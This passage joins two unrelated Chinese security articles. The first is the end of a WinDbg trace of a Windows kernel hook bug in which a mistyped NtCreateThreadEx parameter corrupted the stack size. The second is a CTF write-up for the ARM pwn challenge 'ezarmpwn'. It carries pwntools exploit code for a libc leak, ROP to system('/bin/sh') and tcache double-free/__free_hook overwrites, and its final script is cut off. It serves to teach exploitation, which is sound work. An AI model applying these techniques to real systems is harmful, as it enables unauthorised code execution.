fffff880`0422bd88 00000000`00000000 00000000`00000000
fffff880`0422bd98 fffff880`00100000 00000000`00000000
fffff880`0422bda8 00000000`00000384 00000000`00000000
fffff880`0422bdb8 00000000`00000018 fffff880`0422bdd0
kd> r
rax=0000000000000000 rbx=fffff88000002000 rcx=ffffffffffffffff
rdx=0000000000000029 rsi=fffff88000100000 rdi=0000000000000000
rip=fffff800041cf221 rsp=fffff8800422bd10 rbp=fffffa8004170b30
r8=fffff8800422bd88 r9=0000000000000028 r10=0000000000000001
r11=fffff8800422bde0 r12=fffff88000002000 r13=0000000000001000
r14=000007fffffd7000 r15=ffffffffffffffff
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286
根据执行路径可知，传入给 ZwSetInformationProcess 的第三个参数指针指向的是位于 RtlCreateUserStack
栈区域的局部结构体变量。在将结构体地址赋值给 r8 寄存器之前，函数执行对结构体 6 个域赋值操作，其中需要关注的是第 5 个域，即在前面一直追寻的指示
RegionSize 的来源的域，这个域是通过 rsi 寄存器赋值的。
向上追溯，发现在 rsi 寄存器取 rbx+0xFFFFF 地址之后，再经过几次逻辑与运算：
lea rsi,[rbx+0FFFFFh]
and rsi,0FFFFFFFFFFF00000h
add rsi,0FFFFh
and rsi,0FFFFFFFFFFFF0000h
此时 rbx 的值是 0xFFFFF88000002000，而 rbx 是在函数执行开始时由 rcx 寄存器直接赋值的，而 rcx 寄存器是作为函数的第 1
个参数传入的。该函数原型如下：
NTSTATUS
NTAPI
RtlCreateUserStack (
_In_opt_ SIZE_T CommittedStackSize,
_In_opt_ SIZE_T MaximumStackSize,
_In_opt_ ULONG_PTR ZeroBits,
_In_ SIZE_T PageSize,
_In_ ULONG_PTR ReserveAlignment,
_Out_ PINITIAL_TEB InitialTeb
);
其中第一个参数是 CommittedStackSize，作为栈的初始提交大小。显然地在这里传入该函数的这个参数就是不寻常的值。那么继续向上探究：
nt!PspAllocateThread:
`041cd5b4 488bc4 mov rax,rsp
`041cd5b7 4c894820 mov qword ptr [rax+20h],r9
`041cd5bb 44884018 mov byte ptr [rax+18h],r8b
`041cd5bf 48895010 mov qword ptr [rax+10h],rdx
`041cd5c3 48894808 mov qword ptr [rax+8],rcx
`041cd5c7 53 push rbx
`041cd5c8 56 push rsi
`041cd5c9 57 push rdi
`041cd5ca 4154 push r12
`041cd5cc 4155 push r13
`041cd5ce 4156 push r14
`041cd5d0 4157 push r15
`041cd5d2 4881ece0010000 sub rsp,1E0h
`041cd5d9 458ad0 mov r10b,r8b
`041cd5dc 4c8be9 mov r13,rcx
`041cd5df 33ff xor edi,edi
`041cd5e1 48897c2470 mov qword ptr [rsp+70h],rdi
`041cd5e6 4c3bcf cmp r9,rdi
`041cd5e9 740b je nt!PspAllocateThread+0x42 (`041cd5f6)
`041cd5eb 410fba210f bt dword ptr [r9],0Fh
`041cd5f0 0f823c0ff6ff jb nt! ?? ::NNGAKEGL::`string'+0x241f0 (`0412e532)
`041cd5f6 4c8ba42460020000 mov r12,qword ptr [rsp+260h]
`041cd5fe 65488b042588010000 mov rax,qword ptr gs:[188h]
`041cd607 4889842498000000 mov qword ptr [rsp+98h],rax
`041cd60f 4c8b842478020000 mov r8,qword ptr [rsp+278h]
`041cd617 4189b878010000 mov dword ptr [r8+178h],edi
`041cd61e 4588907c010000 mov byte ptr [r8+17Ch],r10b
`041cd625 4c8bb42440020000 mov r14,qword ptr [rsp+240h]
`041cd62d 4c3bf7 cmp r14,rdi
`041cd630 0f848a060000 je nt!PspAllocateThread+0x70b (`041cdcc0)
`041cd636 483b0df349f4ff cmp rcx,qword ptr [nt!PsInitialSystemProcess (`04112030)]
`041cd63d 0f841a0ff6ff je nt! ?? ::NNGAKEGL::`string'+0x2421f (`0412e55d)
`041cd643 483bd7 cmp rdx,rdi
`041cd646 0f851a040000 jne nt!PspAllocateThread+0x4b2 (`041cda66)
`041cd64c 498b85c8010000 mov rax,qword ptr [r13+1C8h]
`041cd653 48f7d8 neg rax
`041cd656 1bf6 sbb esi,esi
`041cd658 83e658 and esi,58h
`041cd65b 41bf98040000 mov r15d,498h
`041cd661 4103f7 add esi,r15d
`041cd664 488d442458 lea rax,[rsp+58h]
`041cd669 4889442440 mov qword ptr [rsp+40h],rax
`041cd66e 89742438 mov dword ptr [rsp+38h],esi
`041cd672 897c2430 mov dword ptr [rsp+30h],edi
`041cd676 89742428 mov dword ptr [rsp+28h],esi
`041cd67a 48897c2420 mov qword ptr [rsp+20h],rdi
`041cd67f 458aca mov r9b,r10b
`041cd682 4c8bc2 mov r8,rdx
`041cd685 488b15c449f4ff mov rdx,qword ptr [nt!PsThreadType (`04112050)]
`041cd68c 418aca mov cl,r10b
`041cd68f e84cd60000 call nt!ObCreateObject (`041dace0)
`041cd694 8bd8 mov ebx,eax
`041cd696 89442450 mov dword ptr [rsp+50h],eax
`041cd69a 3bc7 cmp eax,edi
`041cd69c 0f8cc00ef6ff jl nt! ?? ::NNGAKEGL::`string'+0x24224 (`0412e562)
`041cd6a2 448bc6 mov r8d,esi
`041cd6a5 33d2 xor edx,edx
`041cd6a7 488b5c2458 mov rbx,qword ptr [rsp+58h]
`041cd6ac 488bcb mov rcx,rbx
`041cd6af e8dc61d1ff call nt!memset (`03ee3890)
`041cd6b4 413bf7 cmp esi,r15d
`041cd6b7 0f87b40ef6ff ja nt! ?? ::NNGAKEGL::`string'+0x24233 (`0412e571)
`041cd6bd 4889bb30040000 mov qword ptr [rbx+430h],rdi
`041cd6c4 488d8bb0030000 lea rcx,[rbx+3B0h]
`041cd6cb 48898c2480000000 mov qword ptr [rsp+80h],rcx
`041cd6d3 498b8580010000 mov rax,qword ptr [r13+180h]
`041cd6da 488901 mov qword ptr [rcx],rax
`041cd6dd 41f6042404 test byte ptr [r12],4
`041cd6e2 0f85c00ef6ff jne nt! ?? ::NNGAKEGL::`string'+0x2426a (`0412e5a8)
`041cd6e8 488db338040000 lea rsi,[rbx+438h]
`041cd6ef 48893e mov qword ptr [rsi],rdi
`041cd6f2 c7834004000007000000 mov dword ptr [rbx+440h],7
`041cd6fc 488d8bc0030000 lea rcx,[rbx+3C0h]
`041cd703 33d2 xor edx,edx
`041cd705 448d4201 lea r8d,[rdx+1]
`041cd709 e88e56d0ff call nt!KeInitializeSemaphore (`03ed2d9c)
`041cd70e 488d8b68030000 lea rcx,[rbx+368h]
`041cd715 48894908 mov qword ptr [rcx+8],rcx
`041cd719 488909 mov qword ptr [rcx],rcx
`041cd71c 488d83e8030000 lea rax,[rbx+3E8h]
`041cd723 48894008 mov qword ptr [rax+8],rax
`041cd727 488900 mov qword ptr [rax],rax
`041cd72a 4889bb80040000 mov qword ptr [rbx+480h],rdi
`041cd731 4889bb98030000 mov qword ptr [rbx+398h],rdi
`041cd738 488d83a0030000 lea rax,[rbx+3A0h]
`041cd73f 48894008 mov qword ptr [rax+8],rax
`041cd743 488900 mov qword ptr [rax],rax
`041cd746 48a11400000080f7ffff mov rax,qword ptr [FFFFF78000000014h]
`041cd750 488b4c2458 mov rcx,qword ptr [rsp+58h]
`041cd755 48898160030000 mov qword ptr [rcx+360h],rax
`041cd75c 48898c24b8000000 mov qword ptr [rsp+0B8h],rcx
`041cd764 89bc24c0000000 mov dword ptr [rsp+0C0h],edi
`041cd76b f0480fba2e00 lock bts qword ptr [rsi],0
`041cd771 0f823d0ef6ff jb nt! ?? ::NNGAKEGL::`string'+0x24276 (`0412e5b4)
`041cd777 4c8b7c2458 mov r15,qword ptr [rsp+58h]
`041cd77c 498d9fb8030000 lea rbx,[r15+3B8h]
`041cd783 48899c24b0000000 mov qword ptr [rsp+0B0h],rbx
`041cd78b 488d9424b8000000 lea rdx,[rsp+0B8h]
`041cd793 488b0d2eb4ebff mov rcx,qword ptr [nt!PspCidTable (`04088bc8)]
`041cd79a e8a5050000 call nt!ExCreateHandle (`041cdd44)
`041cd79f 488903 mov qword ptr [rbx],rax
`041cd7a2 483bc7 cmp rax,rdi
`041cd7a5 0f84170ef6ff je nt! ?? ::NNGAKEGL::`string'+0x24284 (`0412e5c2)
`041cd7ab 4c3bf7 cmp r14,rdi
`041cd7ae 0f8429050000 je nt!PspAllocateThread+0x728 (`041cdcdd)
`041cd7b4 668bf7 mov si,di
`041cd7b7 89742460 mov dword ptr [rsp+60h],esi
`041cd7bb 41f6042480 test byte ptr [r12],80h
`041cd7c0 0f8592020000 jne nt!PspAllocateThread+0x4a4 (`041cda58)
`041cd7c6 41f6042402 test byte ptr [r12],2
`041cd7cb 0f85dc040000 jne nt!PspAllocateThread+0x6f8 (`041cdcad)
`041cd7d1 41b808000000 mov r8d,8
`041cd7d7 4c8ba42470020000 mov r12,qword ptr [rsp+270h]
`041cd7df 4c3be7 cmp r12,rdi
`041cd7e2 0f84c90ef6ff je nt! ?? ::NNGAKEGL::`string'+0x2437b (`0412e6b1)
`041cd7e8 4939bd20030000 cmp qword ptr [r13+320h],rdi
`041cd7ef 0f8512030000 jne nt!PspAllocateThread+0x552 (`041cdb07)
`041cd7f5 41f6042401 test byte ptr [r12],1
`041cd7fa 0f858e0ef6ff jne nt! ?? ::NNGAKEGL::`string'+0x24358 (`0412e68e)
`041cd800 bb00100000 mov ebx,1000h
`041cd805 41397c2420 cmp dword ptr [r12+20h],edi
`041cd80a 0f853e0ef6ff jne nt! ?? ::NNGAKEGL::`string'+0x24318 (`0412e64e)
`041cd810 488d942450010000 lea rdx,[rsp+150h]
`041cd818 498bcd mov rcx,r13
`041cd81b e8f04bd4ff call nt!KeStackAttachProcess (`03f12410)
`041cd820 4c8bb42448020000 mov r14,qword ptr [rsp+248h]
`041cd828 4c89742428 mov qword ptr [rsp+28h],r14
`041cd82d 48c744242000000100 mov qword ptr [rsp+20h],10000h
`041cd836 4c8bcb mov r9,rbx
`041cd839 4d8b442408 mov r8,qword ptr [r12+8]
`041cd83e 498b542418 mov rdx,qword ptr [r12+18h]
`041cd843 498b4c2410 mov rcx,qword ptr [r12+10h]
`041cd848 e8b7180000 call nt!RtlCreateUserStack (`041cf104)
kd> r
rax=0000000000000000 rbx=0000000000001000 rcx=fffff88000002000
rdx=000007fe00000000 rsi=fffffa8003020000 rdi=0000000000000000
rip=041cd848 rsp=fffff8800422be00 rbp=fffffa8004170b30
r8=0000000000000000 r9=0000000000001000 r10=0000000000000001
r11=fffff8800422bde0 r12=fffff8800422c310 r13=fffffa8004170b30
r14=fffff8800422c340 r15=fffffa8003028b60
kd> dq [rsp+270h] l1
fffff880`0422c070 fffff880`0422c310
kd> dq fffff880`0422c310 l4
fffff880`0422c310 00000000`00000000 00000000`00000000
fffff880`0422c320 fffff880`00002000 000007fe`00000000
根据上面的执行路径，传入 RtlCreateUserStack 函数的第一个参数 rcx 寄存器是由 qword ptr [r12+10h] 赋值的。而
r12 寄存器在稍早时候取 [rsp+270h] 指向地址的指针长度的值。
[rsp+270h] 是调用者传递给该函数的第 11 个参数。继续向上追溯：
nt!PspCreateThread:
`041cd2ac 48895c2410 mov qword ptr [rsp+10h],rbx
`041cd2b1 55 push rbp
`041cd2b2 56 push rsi
`041cd2b3 57 push rdi
`041cd2b4 4154 push r12
`041cd2b6 4155 push r13
`041cd2b8 4156 push r14
`041cd2ba 4157 push r15
`041cd2bc 4881ec40020000 sub rsp,240h
`041cd2c3 488b051667e8ff mov rax,qword ptr [nt!_security_cookie (`040539e0)]
`041cd2ca 4833c4 xor rax,rsp
`041cd2cd 4889842430020000 mov qword ptr [rsp+230h],rax
`041cd2d5 4c8bac24c0020000 mov r13,qword ptr [rsp+2C0h]
`041cd2dd 488bbc24a0020000 mov rdi,qword ptr [rsp+2A0h]
`041cd2e5 4c8bb424a8020000 mov r14,qword ptr [rsp+2A8h]
`041cd2ed 4c8bbc24c8020000 mov r15,qword ptr [rsp+2C8h]
`041cd2f5 65488b1c2588010000 mov rbx,qword ptr gs:[188h]
`041cd2fe 48898c2480000000 mov qword ptr [rsp+80h],rcx
`041cd306 488b8c24b0020000 mov rcx,qword ptr [rsp+2B0h]
`041cd30e 4c89842488000000 mov qword ptr [rsp+88h],r8
`041cd316 4533c0 xor r8d,r8d
`041cd319 48898c2490000000 mov qword ptr [rsp+90h],rcx
`041cd321 488b8c24b8020000 mov rcx,qword ptr [rsp+2B8h]
`041cd329 498bc1 mov rax,r9
`041cd32c 48898c2498000000 mov qword ptr [rsp+98h],rcx
`041cd334 488b8c24e8020000 mov rcx,qword ptr [rsp+2E8h]
`041cd33c 89542464 mov dword ptr [rsp+64h],edx
`041cd340 458ae0 mov r12b,r8b
`041cd343 48894c2470 mov qword ptr [rsp+70h],rcx
`041cd348 4d3be8 cmp r13,r8
`041cd34b 7407 je a8 (`041cd354)
`041cd34d 448aa3f6010000 mov r12b,byte ptr [rbx+1F6h]
`041cd354 4c89442468 mov qword ptr [rsp+68h],r8
`041cd359 be080000c0 mov esi,0C0000008h
`041cd35e 493bc0 cmp rax,r8
`041cd361 0f842a020000 je 2e5 (`041cd591)
`041cd367 4c89442430 mov qword ptr [rsp+30h],r8
`041cd36c 4c8b05ad4cf4ff mov r8,qword ptr [nt!PsProcessType (`04112020)]
`041cd373 488d4c2478 lea rcx,[rsp+78h]
`041cd378 48894c2428 mov qword ptr [rsp+28h],rcx
`041cd37d 458acc mov r9b,r12b
`041cd380 ba02000000 mov edx,2
`041cd385 488bc8 mov rcx,rax
`041cd388 c744242044666c74 mov dword ptr [rsp+20h],746C6644h
`041cd390 e84ba10000 call nt!ObReferenceObjectByHandleWithTag (`041d74e0)
`041cd395 488b6c2478 mov rbp,qword ptr [rsp+78h]
`041cd39a 4533c0 xor r8d,r8d
`041cd39d 413bc0 cmp eax,r8d
`041cd3a0 0f8c9a010000 jl 294 (`041cd540)
`041cd3a6 453ae0 cmp r12b,r8b
`041cd3a9 0f85bc010000 jne 2bf (`041cd56b)
`041cd56b 483b2dbe4af4ff cmp rbp,qword ptr [nt!PsInitialSystemProcess (`04112030)]
`041cd572 0f8537feffff jne 103 (`041cd3af)
`041cd3af 8b8c24d0020000 mov ecx,dword ptr [rsp+2D0h]
`041cd3b6 41b901000000 mov r9d,1
`041cd3bc 418bc0 mov eax,r8d
`041cd3bf 4184c9 test r9b,cl
`041cd3c2 410f45c1 cmovne eax,r9d
`041cd3c6 f6c102 test cl,2
`041cd3c9 0f85ba010000 jne 2dd (`041cd589)
`041cd3cf 89442460 mov dword ptr [rsp+60h],eax
`041cd3d3 f6c104 test cl,4
`041cd3d6 0f855e200500 jne nt! ?? ::NNGAKEGL::`string'+0x2a7ca (`0421f43a)
`041cd3dc f6c108 test cl,8
`041cd3df 0f8598010000 jne 2d1 (`041cd57d)
`041cd3e5 66ff8bc4010000 dec word ptr [rbx+1C4h]
`041cd3ec 0f0d8d78010000 prefetchw [rbp+178h]
`041cd3f3 488b8578010000 mov rax,qword ptr [rbp+178h]
`041cd3fa 4883e0fe and rax,0FFFFFFFFFFFFFFFEh
`041cd3fe 488d4802 lea rcx,[rax+2]
`041cd402 f0480fb18d78010000 lock cmpxchg qword ptr [rbp+178h],rcx
`041cd40b 0f8535200500 jne nt! ?? ::NNGAKEGL::`string'+0x2a7d6 (`0421f446)
`041cd411 488bcd mov rcx,rbp
`041cd414 e8d70ad2ff call nt!ObfReferenceObject (`03eedef0)
`041cd419 488b442470 mov rax,qword ptr [rsp+70h]
`041cd41e 488b942488000000 mov rdx,qword ptr [rsp+88h]
`041cd426 4c8d9c24a0000000 lea r11,[rsp+0A0h]
`041cd42e 4d8bce mov r9,r14
`041cd431 458ac4 mov r8b,r12b
`041cd434 4c895c2458 mov qword ptr [rsp+58h],r11
`041cd439 4889442450 mov qword ptr [rsp+50h],rax
`041cd43e 488d442468 lea rax,[rsp+68h]
`041cd443 4889442448 mov qword ptr [rsp+48h],rax
`041cd448 488d442460 lea rax,[rsp+60h]
`041cd44d 488bcd mov rcx,rbp
`041cd450 4889442440 mov qword ptr [rsp+40h],rax
`041cd455 488b8424e0020000 mov rax,qword ptr [rsp+2E0h]
`041cd45d 4889442438 mov qword ptr [rsp+38h],rax
`041cd462 488b8424d8020000 mov rax,qword ptr [rsp+2D8h]
`041cd46a 4889442430 mov qword ptr [rsp+30h],rax
`041cd46f 4c897c2428 mov qword ptr [rsp+28h],r15
`041cd474 4c896c2420 mov qword ptr [rsp+20h],r13
`041cd479 e836010000 call nt!PspAllocateThread (`041cd5b4)
kd> dq [rsp+50h] l1
fffff880`04286070 fffff880`04286310
kd> dq fffff880`04286310 l4
fffff880`04286310 00000000`00000000 00000000`00000000
fffff880`04286320 fffff880`00000000 00000144`00000000
观察上面的执行路径不难发现传递给 PspAllocateThread 函数的第 11 个参数来自 PspCreateThread 函数的
[rsp+2E8h] 第 14 个参数，而在当前函数中没有进行任何修改和取值访问。
而在 NtCreateThreadEx 函数中由于虚拟化设置问题暂时无法进行单步追踪。所以通过 IDA 对其汇编代码进行分析，再加上通过
PspAllocateThread 函数返回后的上下文，对运行现场的环境进一步的追踪：
`403701DF loc_1403701DF:
`403701DF mov [rsp+748h+var_6D8], bl
`403701E3 mov rax, [rsp+748h+arg_40]
`403701EB mov [rsp+748h+var_6C8], rax
`403701F3 mov rax, [rsp+748h+arg_48]
`403701FB mov [rsp+748h+var_6C0], rax
`40370203 mov rax, [rsp+748h+arg_38]
`4037020B mov [rsp+748h+var_6D0], rax
`40370210 mov [rsp+748h+var_6B8], ebx
`40370217 xor edx, edx ; Val
`40370219 mov r8d, 150h ; Size
`4037021F lea rcx, [rsp+748h+var_198] ; Dst
`40370227 call memset
`4037022C test rdi, rdi
`4037022F jz short loc_140370285
`40370231 mov rax, gs:188h
`4037023A lea r9, [rsp+748h+var_198]
`40370242 mov r8d, 1
`40370248 mov dl, [rax+1F6h]
`4037024E mov rcx, rdi
`40370251 call PspBuildCreateProcessContext
`40370256 test eax, eax
`40370258 js loc_140370396
`4037025E lea rax, [rsp+748h+var_70]
`40370266 bt dword ptr [rsp+748h+var_198], 0Ch
`4037026F cmovnb rax, rbx
`40370273 mov rbx, rax
`40370276 bt dword ptr [rsp+748h+var_198], 0Eh
`4037027F jb loc_1403C8D38
`40370285
`40370285 loc_140370285:
`40370285 mov [rsp+748h+var_638], 10000Bh
`40370290 mov rax, cs:PspUserThreadStart
`40370297 mov [rsp+748h+var_570], rax
`4037029F mov rax, [rsp+748h+arg_20]
`403702A7 mov [rsp+748h+var_5E8], rax
`403702AF mov rax, [rsp+748h+arg_28]
`403702B7 mov [rsp+748h+var_5E0], rax
`403702BF mov ecx, 2Bh
`403702C4 mov [rsp+748h+var_62E], cx
`403702CC mov [rsp+748h+var_62C], cx
`403702D4 lea eax, [rcx+28h]
`403702D7 mov [rsp+748h+var_62A], ax
`403702DF mov [rsp+748h+var_628], cx
`403702E7 mov [rsp+748h+var_626], cx
`403702EF lea eax, [rcx+8]
`403702F2 mov [rsp+748h+var_630], ax
`403702FA mov ecx, 1F80h
`403702FF mov [rsp+748h+var_634], ecx
`40370306 mov eax, 27Fh
`4037030B mov [rsp+748h+var_568], ax
`40370313 mov [rsp+748h+var_550], ecx
`4037031A lea rax, [rsp+748h+var_6D8]
`4037031F mov [rsp+748h+var_6E0], rax
`40370324 and [rsp+748h+var_6E8], 0
`4037032A and [rsp+748h+var_6F0], 0
`40370330 mov dword ptr [rsp+748h+var_6F8], r12d ; __int64
`40370335 lea rax, [rsp+748h+var_6A8]
`4037033D mov [rsp+748h+var_700], rax ; __int64
`40370342 lea rax, [rsp+748h+var_668]
`4037034A mov [rsp+748h+var_708], rax ; __int64
`4037034F mov rax, qword ptr [rsp+748h+var_190]
`40370357 mov qword ptr [rsp+748h+var_710], rax ; int
`4037035C mov qword ptr [rsp+748h+var_718], rbx ; int
`40370361 lea rax, [rsp+748h+var_198]
`40370369 mov [rsp+748h+var_720], rax ; __int64
`4037036E and [rsp+748h+var_728], 0
`40370374 mov r9, r15 ; __int64
`40370377 mov r8, r14 ; __int64
`4037037A mov edx, r13d ; __int64
`4037037D mov rcx, rsi ; PVOID
`40370380 call PspCreateThread
上面的反汇编指令片段是在 IDA 中截取的。根据汇编代码显示，[rsp+748h+var_6E0] 是传入 PspCreateThread 函数的第 14
个参数。其取值为 [rsp+748h+var_6D8] 局部变量的地址。var_6D8 是位于栈上的一个结构体对象，需要关注的是其中 +10
偏移的域，在稍早时候对结构体赋初值，这个域由第 9 个参数 [rsp+748h+arg_40] 赋值。
`403701DF mov [rsp+748h+var_6D8], bl
`403701E3 mov rax, [rsp+748h+arg_40]
`403701EB mov [rsp+748h+var_6C8], rax
由第 9 个参数赋初值，那就说明这个值是由 NtCreateThreadEx 的调用者传入的。该函数原型如下：
NTSTATUS
NTAPI
Handle_SSDT_NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE StartAddress,
IN LPVOID Parameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID BytesBuffer
);
第 9 个参数是 SizeOfStackCommit，但我在 Hook 处理函数中监控这个参数，它的值始终是处于正常范围的数值，从未出现前面分析中的
0xFFFFF88000000000 这样的数据。突然注意到在 Hook 处理函数中调用原函数时对栈上的参数进行赋值的代码：
`050721af 488b8424d0000000 mov rax,qword ptr [rsp+0D0h]
`050721b7 4889442450 mov qword ptr [rsp+50h],rax
`050721bc 8b8424c8000000 mov eax,dword ptr [rsp+0C8h]
`050721c3 89442448 mov dword ptr [rsp+48h],eax
`050721c7 8b8424c0000000 mov eax,dword ptr [rsp+0C0h]
`050721ce 89442440 mov dword ptr [rsp+40h],eax
`050721d2 8b8424b8000000 mov eax,dword ptr [rsp+0B8h]
`050721d9 89442438 mov dword ptr [rsp+38h],eax
`050721dd 8b8424b0000000 mov eax,dword ptr [rsp+0B0h]
`050721e4 89442430 mov dword ptr [rsp+30h],eax
`050721e8 488b8424a8000000 mov rax,qword ptr [rsp+0A8h]
`050721f0 4889442428 mov qword ptr [rsp+28h],rax
`050721f5 488b8424a0000000 mov rax,qword ptr [rsp+0A0h]
`050721fd 4889442420 mov qword ptr [rsp+20h],rax
`05072202 4c8b8c2498000000 mov r9,qword ptr [rsp+98h]
`0507220a 4c8b842490000000 mov r8,qword ptr [rsp+90h]
`05072212 8b942488000000 mov edx,dword ptr [rsp+88h]
`05072219 488b8c2480000000 mov rcx,qword ptr [rsp+80h]
`05072221 ff542468 call qword ptr [rsp+68h]
上面代码中 mov dword ptr [rsp+40h], eax 这条指令对 SizeOfStackCommit
参数进行传值。在传值之前我无意中看了一下 rsp+40h 地址的原值：
kd> dq [rsp+40h] l1
fffff880`0310ea30 fffff880`0310ea98
原来如此，由于 Hook 处理函数和原函数指针类型定义失误，将这个参数定义成了 ULONG32 类型，所以在传参时只通过 eax 进行赋值，栈上的参数位置高
32 位被忽略并保持原值；但在实际的 NtCreateThreadEx 函数中，应是将这个参数作为 ULONG_PTR 进行解析，在 64 位下应是
ULONG64 宽度，所以将参数中没有清零的高 32 位也作为参数值的一部分了，这就最终导致了前面的错误状态码。而这次的错误和虚拟化无关。
真是一次坑爹的分析。
* * * | 社区文章 |
# 西湖论剑 IoT闯关赛 2020 pwn3 —— ezarmpwn
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
打了安恒举办的西湖论剑比赛，题目都是跑在一个开发板上的，通过数据线连接开发板的otg接口能访问题目环境。pwn题目一共有三道，其中有一道题目因为逻辑上的问题导致能比较简单的获得flag，另外一道题目是boa服务器在处理http认证过程中，发生栈溢出。我们这里分析的是这次比赛的第三道pwn题ezarmpwn。
## 题目分析
通过file和checksec能够知道程序为32位的arm小端程序，开启NX保护，没有PIE和canary保护。
主办方给出的libc为2.30，把libc解压的文件夹和题目放在同一个目录，使用`qemu-arm -L ./
./pwn3`执行程序，能看到首先要求输入用户名和密码，之后进入到菜单选项。
play选项有两个子功能，add和delete，能分配chunk和释放chunk；私人信息是输出用户名和密码的内容；修改密码输入字符串修改原始的密码；选项4会退出程序，从功能上看是一道典型的libc菜单题。
## 漏洞分析
这道题的漏洞非常多，有一些漏洞很有干扰性。首先用户名和密码都是固定长度的buffer，大小如下：
### 栈溢出1
密码和用户名被带进注册函数中，这里输入的用户名直接通过scanf进入src没有任何限制，直接溢出。
### off by null
在栈溢出下方有一个off by
null的漏洞，如果我们在输入的密码中没有`\n`就会持续移动指针，最后在有`\n`的地方赋值为0，不过这个漏洞太难利用非常鸡肋。
### UAF
在play的选项中的结构为下方所示：
struct {
int size;
char* content;
}
最后在delete操作中没有对指针置空，存在UAF漏洞。
### 栈溢出2
我们知道密码的buffer长度为40，这里strncpy直接复制了0x48（72）长度的字符串，直接溢出。
以上就是能够观察到的漏洞了，虽然我们有两个非常有用的栈溢出漏洞，但是我们需要泄露出libc地址，才能继续完成利用，不管是进行ROP还是利用UAF向`__free_hook`写地址都是需要libc地址的，所以拿到libc地址成为了我们的首要目标。
## 漏洞利用
最开始，我的想法是直接利用第一个栈溢出漏洞进行ROP，也找到了一些gadget，最后发现此路不通，程序本身的gadget十分少再加上程序的函数got地址都带有`0x20`，这个字符在scanf的时候回产生截断，导致rop失败。所以没有办法像x86那样用puts等泄露函数输出函数地址来计算得到libc地址。
那么另外一个栈溢出漏洞又如何呢？分析之后发现只能控制PC，没有足够的溢出长度来完成ROP。于是在比赛的时候，我就陷入了绝望，有没有什么方法可以获取到libc呢？在参考了`pzhxbz`师傅的exp之后恍然大悟，原来可以在栈上找libc地址通过strncpy连带着拷贝到password的buffer中，随后利用输出信息功能泄露字符串获得libc地址。看来以后在出现了输出功能的地方都要留个心眼，看看能不能有方法输出栈上的libc地址信息。
### leak libc
在read到临时buffer栈空间中，可以看到有libc相关的函数地址，所以只要我们填充40字节的数据，在执行strncpy的时候就会连带着这个地址一起进入paasword中。
查看完成strncpy之后的的password，可以看到已经把后面的libc地址一起连带复制进buffer中。
我们调用输出信息的功能就可以看到泄露出的libc地址。
减去libc的基地址成功获得相对于libc的偏移。
change('a'*40)
info()
io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))
### control pc and rop
有了libc地址之后，这下就非常容易了，利用第二个栈溢出漏洞控制PC到最开始的地方触发第一个栈溢出漏洞完成rop。这里rop的思路是利用libc地址得到system和/bin/sh，使用gadget执行system函数。
#.text:000A1A5C MOV R0, R4
#0x00010784 : pop {r4, pc}
change(b'a'*64 + p32(0x10e70))
io.sendlineafter('choice > ', '4')
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)
这里还需要注意的一点是，我们溢出的部分覆盖了password的buffer，因此在输入密码的时候必须控制输入的内容，让字符串复制之后的rop
chain依旧可以运行。在libc中找到如下的gadget：
虽然最后一个字节有差异但指令却是相同的，这样我们输入空密码最终在字符串复制时也只会复制一个空字节，对我们的rop chain将不会有任何影响。
我在测试的时候有很多坏字符的干扰，比如`0x0a`和`0x20`，比较难受的是system函数的地址中恰好带有`0x20`所以整个exp在本地是没有办法复现的，只能在开发板上能成功。
### UAF
在完成泄露libc地址之后，也可以不使用上面的栈溢出攻击方法，转而利用uaf漏洞完成堆利用的攻击。这里有两个利用思路，一个是很容易想到的double
free，另外一个是构造出chunk overlap。
因为有tcache，要构造double
free需要先把tcache填满，然后使用之前free一个再free另外一个最后再次free第一次free的chunk。
for i in range(10):
add(i,0x30,'/bin/sh\x00')
for i in range(7):
dele(i)
dele(7)
dele(8)
dele(7)
在有tcache的情况下会优先分配tcache中的chunk，所以再把tcache链表中的7个chunk全部分配，在这之后申请的第一个chunk修改它的指针让其指向我们想写入的地址`__free_hook`，再分配三次，第三次写入system地址到`__free_hook`中，最后随便free一个内容为`/bin/sh\x00`的chunk即可getshell。
for i in range(7):
add(20+i,0x30,'/bin/sh\x00')
add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')
dele(11)
另外一个思路是构造出chunk
overlap，申请两个较大的chunk，释放之后申请一个更大的chunk，使得之前较小的两个chunk合并，这样新申请的大chunk能够修改到其中一个小chunk的header。把header改成tcache的范围，free这个chunk，让它进入tcache中，这个时候重复释放和分配大chunk就能修改tcache的指针，剩下来的操作和上面的相同。
for i in range(9):
add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15)
delete(14) #tcache[0x10]=14->15
for i in range(9):
delete(8-i) #unsorted bin 0->1
free_hook = libc + 0x1479cc
system = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()
## 最终exp
这是栈溢出的exp
from pwn import *
elf = ELF('./pwn3')
libc = ELF('./lib/libc-2.30.so')
context.arch= 'arm'
if args['D']:
context.log_level = 'debug'
if args['R']:
io = remote('')
else:
io = process(['qemu-arm', '-g', '1234', '-L', './', './pwn3'])
def add(my_id, size, content):
io.sendlineafter('choice > ', '1')
io.sendlineafter('choice > ', '1')
io.sendlineafter('index: ', str(my_id))
io.sendlineafter('size: ', str(size))
